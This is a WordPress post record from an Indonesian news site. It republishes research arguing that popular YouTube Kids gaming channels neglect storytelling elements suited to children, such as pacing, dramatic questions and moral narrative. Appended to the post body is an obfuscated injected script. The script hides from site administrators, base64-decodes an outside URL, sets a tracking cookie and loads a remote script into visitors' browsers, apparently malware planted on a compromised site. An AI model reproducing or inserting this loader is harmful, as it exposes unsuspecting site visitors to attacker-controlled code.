{"id":16641,"date":"2024-05-25T08:53:56","date_gmt":"2024-05-25T01:53:56","guid":{"rendered":"https:\/\/edisi.co\/?p=16641"},"modified":"2025-10-25T04:35:04","modified_gmt":"2025-10-24T21:35:04","slug":"riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak","status":"publish","type":"post","link":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/","title":{"rendered":"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><a href=\"http:\/\/edisi.co\">EDISI.CO, CATATAN EDISIAN<\/a><\/strong>&#8211; <a href=\"https:\/\/whatsthebigdata.com\/generation-alpha-statis\/\">Data statistik tahun 2024<\/a>, menunjukkan bahwa generasi anak saat ini, masuk dalam generasi Alpha yang mendapatkan hiburan lebih banyak dari media sosial. Di YouTube, misalnya, anak-anak bisa menonton berbagai konten, baik yang bersifat edukasi maupun hiburan.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sayangnya, para produsen konten anak-anak mengabaikan sejumlah elemen krusial dalam <em>storytelling<\/em> mereka. Padahal, dengan menggunakan cara penceritaan yang tepat, pesan akan lebih mudah dipahami oleh target audiens. Apalagi bagi audiens anak, yang <a href=\"https:\/\/books.google.co.id\/books\/about\/Media_Literacy.html?id=iEuXCgAAQBAJ&amp;redir_esc=y\">memiliki karakter yang tidak bisa disamakan dengan audiens umum, misalnya dari sisi perkembangan kognitif, emosi dan juga moral<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">YouTube memiliki platform bernama YouTube Kids yang diperuntukkan untuk audiens anak. <em>YouTuber<\/em> yang ingin memperluas audiens kontennya ke anak-anak dan masuk ke daftar kanal di YouTube Kids perlu memahami karakter audiens ini.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Konten yang terdapat di YouTube Kids juga terbagi atas berbagai kategori, salah satunya <em>gaming<\/em>. Menurut data <a href=\"https:\/\/www.commonsensemedia.org\/articles\/youtube-kids-channels-for-gamers\">tahun 2023<\/a>, kanal <em>gaming<\/em> yang terkenal di YouTube Kids di antaranya adalah <a href=\"https:\/\/www.youtube.com\/watch?v=J7mGXuNbbGY\">MarMar Land<\/a>, <a href=\"https:\/\/www.youtube.com\/watch?v=oSCthycvXbY&amp;t=10s\">Evbo<\/a>, dan <a href=\"https:\/\/www.youtube.com\/watch?v=agWC_jnu3T0\">Lex Play<\/a>. Ketiga kanal ini memproduksi konten yang berisi narasi pemilik kanal sedang bermain <em>game<\/em> dan dikemas semenarik mungkin bagi anak\u2013anak.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dalam proses <em>digital storytelling<\/em>, produsen konten sebaiknya tidak hanya mempertimbangkan kemenarikan konten, tapi juga penyampaian pesannya. Sebab, cara penceritaan melalui narasi konten menentukan diterima tidaknya pesan yang ingin disampaikan kepada audiens. Hal ini bisa dicapai dengan memenuhi elemen-elemen <em>digital storytelling<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Apa saja elemen-elemen tersebut?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Audiens anak dan elemen \u2018digital storytelling\u2019 di YouTube Kids<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/journals2.ums.ac.id\/index.php\/komuniti\/article\/view\/4543\">Penelitian kami<\/a> mengidentifikasi 13 elemen <em>digital storytelling<\/em> pada tiga video <em>gaming<\/em> yang diproduksi oleh kanal MarMar Land, Evbo, dan Lex Play, dan kesesuaiannya dengan karakter audiens anak\u2013anak.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Audiens anak dalam penelitian kami merujuk pada <a href=\"https:\/\/www.commonsensemedia.org\/articles\/parents-ultimate-guide-to-youtube-kids#whatage\">usia audiens konten <em>gaming<\/em> di YouTube Kids<\/a>, yaitu di atas tujuh tahun. Ke-13 elemen ini merupakan hasil elaborasi peneliti dari 12 elemen <em>digital storytelling<\/em> untuk khalayak umum dengan konsep perkembangan moral anak-anak, yang mencakup:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Perspektif\u2014sudut pandang yang dipakai dalam video,<\/li>\n\n\n\n<li>Intensi\u2014tujuan dari video,<\/li>\n\n\n\n<li>Personal\u2014keterhubungan cerita dengan personal narator,<\/li>\n\n\n\n<li>Pertanyaan dramatis\u2014pertanyaan kunci yang menahan atensi audiens,<\/li>\n\n\n\n<li><em>Engagement<\/em>\u2014konteks emosional yang diangkat dalam cerita,<\/li>\n\n\n\n<li>Artikulasi\u2014penggunaan artikulasi suara saat bercerita,<\/li>\n\n\n\n<li><em>Soundtrack<\/em> musik\/audio untuk mendukung cerita,<\/li>\n\n\n\n<li>Minimal\u2014efektivitas penggunaan teknologi dalam video narasi,<\/li>\n\n\n\n<li>Tempo\u2014pengaturan kecepatan berbicara,<\/li>\n\n\n\n<li>Peta cerita\u2014struktur cerita dan logika kalimat sesuai kelompok audiens,<\/li>\n\n\n\n<li>Ekspresi\u2014kesesuaian ekspresi dengan visual dan emosi,<\/li>\n\n\n\n<li>Konten signifikan\u2014gabungan teknologi dan keahlian dalam berkomunikasi,<\/li>\n\n\n\n<li>Narasi sesuai perkembangan moral\u2014narasi dan visual menunjukkan perbuatan benar atau salah.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Elemen \u2018digital storytelling\u2019 yang luput dari perhatian \u2018YouTuber\u2019<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/journals2.ums.ac.id\/index.php\/komuniti\/article\/view\/4543\">Hasil penelitian kami<\/a> menunjukkan bahwa terdapat beberapa elemen yang luput dari perhatian <em>YouTuber<\/em> dalam konten <em>gaming<\/em> untuk audiens anak-anak, yaitu:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. Personal<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dua dari tiga video yang kami teliti, yaitu MarMar Land dan Lex Play, tidak menunjukkan adanya keterhubungan produsen video dengan konten yang dibuat. Padahal, elemen personal ini jika diterapkan bisa menstimulasi emosi audiens anak-anak.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sebagai contoh, video milik <a href=\"https:\/\/www.youtube.com\/watch?v=oSCthycvXbY&amp;t=10s\">EVBO<\/a> menunjukkan desa yang tutup di hari Minggu, yang membuat narator merasa kesal. Emosi kekesalan ini dapat disampaikan melalui narasi yang bisa ditangkap oleh audiens.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. Pertanyaan dramatis<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Video EVBO dan MarMar Land juga tidak memiliki pertanyaan yang mengunci atensi audiens. Kedua video ini hanya mengikuti alur yang ada di <em>game<\/em> sehingga hanya menempatkan audiens seperti \u201canak yang melihat temannya asyik bermain <em>game<\/em> sendiri\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jika narator menggunakan pertanyaan dramatis seperti milik <a href=\"https:\/\/www.youtube.com\/watch?v=agWC_jnu3T0\">Lex Play<\/a>, misalnya <em>\u201cHow do I plan out my island<\/em>? (Bagaimana aku merancang pulauku?), \u201d<em>How do I start terraforming<\/em>?\u201c (Bagaimana memulai teraformasi atau membuat permukaan planet selain bumi layak dihuni makhluk hidup?), \u201d<em>How do I know where I\u2019m going to put things<\/em>?\u201c (Bagaimana aku tahu di mana meletakkan sesuatu?), anak-anak akan fokus menonton video untuk menemukan jawaban dari pertanyaan tersebut.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3. Peta cerita<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Video <a href=\"https:\/\/www.youtube.com\/watch?v=J7mGXuNbbGY\">MarMar Land<\/a> dan <a href=\"https:\/\/www.youtube.com\/watch?v=_XypyktJk14\">EVBO<\/a> yang hanya mengalir mengikuti alur <em>game<\/em> membuat kedua video ini tidak memiliki peta cerita yang jelas. Kedua video ini tidak memiliki pembukaan video ataupun alur spesifik. Model peta cerita seperti ini dapat membuat audiens anak-anak kesulitan mengidentifikasi apa inti pesan yang disampaikan narator melalui videonya.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>4. Ekspresi<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Video EVBO dan Lex Play juga tidak menunjukkan wajah narator dalam videonya, sehingga elemen ekspresi tidak ada. Padahal, ekspresi ini menjadi elemen yang dapat membantu anak-anak menangkap pesan yang tepat. Misalnya di video milik MarMar Land, anak-anak akan jelas melihat kesesuaian antara narasi bahagia dengan ekspresi bahagia ketika narator berhasil menyelesaikan rintangan.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5. Tempo dan artikulasi<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Anak-anak usia 5-7 tahun <a href=\"https:\/\/hearinghealthmatters.org\/hearing-and-kids\/2013\/can-children-understand-fast-speech\/\">hanya bisa menangkap 128\u2013130 kata per menit<\/a>, dan meningkat sampai 135 kata di usia 10 tahun. Sayangnya, video milik <a href=\"https:\/\/www.youtube.com\/watch?v=J7mGXuNbbGY\">MarMar Land<\/a> mengabaikan ini dengan memiliki 214 kata per menit.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Baca juga: <a href=\"https:\/\/edisi.co\/2024\/05\/24\/bakamla-batam-kumpulkan-68-ton-sampah-di-kegiatan-bulan-cinta-laut\/\">Bakamla Batam Kumpulkan 6,8 Ton Sampah di Kegiatan Bulan Cinta Laut<\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Selain itu, efek audio membuat artikulasi beberapa kata menjadi kurang jelas. <a href=\"https:\/\/www.youtube.com\/watch?v=_XypyktJk14\">EVBO<\/a> bahkan memiliki tempo 226 kata per menit. Padahal, makin cepat narator bercerita, makin tinggi risiko ketidakjelasan artikulasinya.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>6. Narasi sesuai perkembangan moral<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hanya ada satu video yang memberikan elemen ini, yaitu video <a href=\"https:\/\/www.youtube.com\/watch?v=J7mGXuNbbGY\">MarMar Land<\/a> yang memberi pesan untuk tidak membuang sampah sembarangan terutama di perairan. Padahal, elemen ini cukup penting karena bisa membantu perkembangan moral anak dari konten yang mereka tonton.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Abai kebutuhan anak<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Berdasarkan temuan di atas, tampak bahwa beberapa elemen <em>digital storytelling<\/em> yang dipenuhi oleh produsen lebih banyak fokus ke elemen kemenarikan video, sementara elemen-elemen yang terkait penyampaian pesan cenderung diabaikan.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ini menunjukkan kepentingan produsen konten yang hanya sekadar mendapatkan atensi dari audiens, bukan menyampaikan pesan tertentu. Kebutuhan akan atensi audiens yang tinggi ini berkaitan dengan <a href=\"https:\/\/www.usenix.org\/system\/files\/sec22-chu.pdf\">monetisasi konten berdasarkan jumlah <em>views<\/em><\/a> dari audiens.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Proses <em>digital storytelling<\/em> via YouTube Kids terbukti hanyalah praktik bisnis konten semata. Produsen konten tidak benar-benar serius memasukkan semua elemen <em>digital storytelling<\/em> dan memperhatikan kebutuhan audiens anak. Artinya, bahkan dengan embel-embel kata \u2018kids\u2019 sekalipun, YouTube Kids hanya menjadikan anak-anak sebagai target bisnis yang kebutuhan hiburannya\u2014sesuai karakter mereka\u2014tidak diperhatikan.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/theconversation.com\/profiles\/birgitta-bestari-puspita-1510145\">Birgitta Bestari Puspita<\/a>, Dosen Departemen Ilmu Komunikasi, <em><a href=\"https:\/\/theconversation.com\/institutions\/universitas-atma-jaya-yogyakarta-4417\">Universitas Atma Jaya Yogyakarta<\/a><\/em> dan <a href=\"https:\/\/theconversation.com\/profiles\/paulus-angre-edvra-1507382\">Paulus Angre Edvra<\/a>, Lecturer, <em><a href=\"https:\/\/theconversation.com\/institutions\/unika-soegijapranata-4168\">Unika Soegijapranata<\/a><\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Artikel ini terbit pertama kali di <a href=\"https:\/\/theconversation.com\">The Conversation<\/a>. Baca <a href=\"https:\/\/theconversation.com\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak-230305\">artikel sumber<\/a>.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>EDISI.CO, CATATAN EDISIAN&#8211; Data statistik tahun 2024, menunjukkan bahwa generasi anak saat ini, masuk dalam<\/p>\n","protected":false},"author":2,"featured_media":7656,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4893,2262],"tags":[],"class_list":["post-16641","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-catatan-edisian","category-nasional"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak<\/title>\n<meta name=\"description\" content=\"Data statistik tahun 2024, menunjukkan bahwa generasi anak saat ini, masuk dalam generasi Alpha yang mendapatkan hiburan\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/\" \/>\n<meta property=\"og:locale\" content=\"id_ID\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak\" \/>\n<meta property=\"og:description\" content=\"Data statistik tahun 2024, menunjukkan bahwa generasi anak saat ini, masuk dalam generasi Alpha yang mendapatkan hiburan\" \/>\n<meta property=\"og:url\" content=\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/\" \/>\n<meta property=\"og:site_name\" content=\"Edisi\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Edisico-102666665780112\" \/>\n<meta property=\"article:published_time\" content=\"2024-05-25T01:53:56+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-24T21:35:04+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp\" \/>\n\t<meta property=\"og:image:width\" content=\"1265\" \/>\n\t<meta property=\"og:image:height\" content=\"711\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/webp\" \/>\n<meta name=\"author\" content=\"Bobi\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@edisi_co\" \/>\n<meta name=\"twitter:site\" content=\"@edisi_co\" \/>\n<meta name=\"twitter:label1\" content=\"Ditulis oleh\" \/>\n\t<meta name=\"twitter:data1\" content=\"Bobi\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimasi waktu membaca\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 menit\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/\"},\"author\":{\"name\":\"Bobi\",\"@id\":\"https:\/\/edisi.co\/#\/schema\/person\/6d99b6e4c7daa385fac75d76deb26690\"},\"headline\":\"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak\",\"datePublished\":\"2024-05-25T01:53:56+00:00\",\"dateModified\":\"2025-10-24T21:35:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/\"},\"wordCount\":961,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/edisi.co\/#organization\"},\"image\":{\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp\",\"articleSection\":[\"CATATAN EDISIAN\",\"NASIONAL\"],\"inLanguage\":\"id\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/\",\"url\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/\",\"name\":\"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak\",\"isPartOf\":{\"@id\":\"https:\/\/edisi.co\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp\",\"datePublished\":\"2024-05-25T01:53:56+00:00\",\"dateModified\":\"2025-10-24T21:35:04+00:00\",\"description\":\"Data statistik tahun 2024, menunjukkan bahwa generasi anak saat ini, masuk dalam generasi Alpha yang mendapatkan hiburan\",\"breadcrumb\":{\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#breadcrumb\"},\"inLanguage\":\"id\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"id\",\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#primaryimage\",\"url\":\"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp\",\"contentUrl\":\"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp\",\"width\":1265,\"height\":711,\"caption\":\"Ilustrasi Youtube. Dok; Ist.\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/edisi.co\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/edisi.co\/#website\",\"url\":\"https:\/\/edisi.co\/\",\"name\":\"Edisi\",\"description\":\"Energi Informasi\",\"publisher\":{\"@id\":\"https:\/\/edisi.co\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/edisi.co\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"id\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/edisi.co\/#organization\",\"name\":\"Edisi\",\"url\":\"https:\/\/edisi.co\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"id\",\"@id\":\"https:\/\/edisi.co\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/i0.wp.com\/edisi.co\/wp-content\/uploads\/2022\/06\/cropped-LOGO-EDISI-1-1.png?fit=512%2C512&ssl=1\",\"contentUrl\":\"https:\/\/i0.wp.com\/edisi.co\/wp-content\/uploads\/2022\/06\/cropped-LOGO-EDISI-1-1.png?fit=512%2C512&ssl=1\",\"width\":512,\"height\":512,\"caption\":\"Edisi\"},\"image\":{\"@id\":\"https:\/\/edisi.co\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Edisico-102666665780112\",\"https:\/\/x.com\/edisi_co\",\"https:\/\/www.instagram.com\/edisi.co\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/edisi.co\/#\/schema\/person\/6d99b6e4c7daa385fac75d76deb26690\",\"name\":\"Bobi\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"id\",\"@id\":\"https:\/\/edisi.co\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/e6a18ff58267d1259b30d316fda0ad4c4d27fbaafdc2ab630458e38a4630f6f8?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/e6a18ff58267d1259b30d316fda0ad4c4d27fbaafdc2ab630458e38a4630f6f8?s=96&d=mm&r=g\",\"caption\":\"Bobi\"},\"description\":\"Penulis edisi.co bermukim di Kampung Monggak, Kelurahan Rempang Cate, Kecamatan Galang, kawasan pesisir Batam.\",\"sameAs\":[\"http:\/\/editorian.id\"],\"url\":\"https:\/\/edisi.co\/author\/bobi\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak","description":"Data statistik tahun 2024, menunjukkan bahwa generasi anak saat ini, masuk dalam generasi Alpha yang mendapatkan hiburan","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/","og_locale":"id_ID","og_type":"article","og_title":"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak","og_description":"Data statistik tahun 2024, menunjukkan bahwa generasi anak saat ini, masuk dalam generasi Alpha yang mendapatkan hiburan","og_url":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/","og_site_name":"Edisi","article_publisher":"https:\/\/www.facebook.com\/Edisico-102666665780112","article_published_time":"2024-05-25T01:53:56+00:00","article_modified_time":"2025-10-24T21:35:04+00:00","og_image":[{"width":1265,"height":711,"url":"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp","type":"image\/webp"}],"author":"Bobi","twitter_card":"summary_large_image","twitter_creator":"@edisi_co","twitter_site":"@edisi_co","twitter_misc":{"Ditulis oleh":"Bobi","Estimasi waktu membaca":"6 menit"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#article","isPartOf":{"@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/"},"author":{"name":"Bobi","@id":"https:\/\/edisi.co\/#\/schema\/person\/6d99b6e4c7daa385fac75d76deb26690"},"headline":"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak","datePublished":"2024-05-25T01:53:56+00:00","dateModified":"2025-10-24T21:35:04+00:00","mainEntityOfPage":{"@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/"},"wordCount":961,"commentCount":0,"publisher":{"@id":"https:\/\/edisi.co\/#organization"},"image":{"@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#primaryimage"},"thumbnailUrl":"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp","articleSection":["CATATAN EDISIAN","NASIONAL"],"inLanguage":"id","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/","url":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/","name":"Riset: Konten \u2018Game\u2019 YouTube Kids Abaikan 6 Elemen \u2018Digital Storytelling\u2019 yang Penting untuk\u00a0Anak","isPartOf":{"@id":"https:\/\/edisi.co\/#website"},"primaryImageOfPage":{"@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#primaryimage"},"image":{"@id":"https:\/\/edisi.co\/riset-konten-game-youtube-kids-abaikan-6-elemen-digital-storytelling-yang-penting-untuk-anak\/#primaryimage"},"thumbnailUrl":"https:\/\/edisi.co\/wp-content\/uploads\/2022\/10\/5ed2312b4c7cc-dua-cara-memasang-video-dari-youtube-ke-blogspot_1265_711.webp","datePublished":"2024-05-25T01:53:56+00:00","dateModified":"2025-10-24T21:35:04+00:00","description":"Data statistik tahun 2024, menunjukkan bahwa generasi anak saat ini, masuk dalam generasi Alpha yang mendapatkan 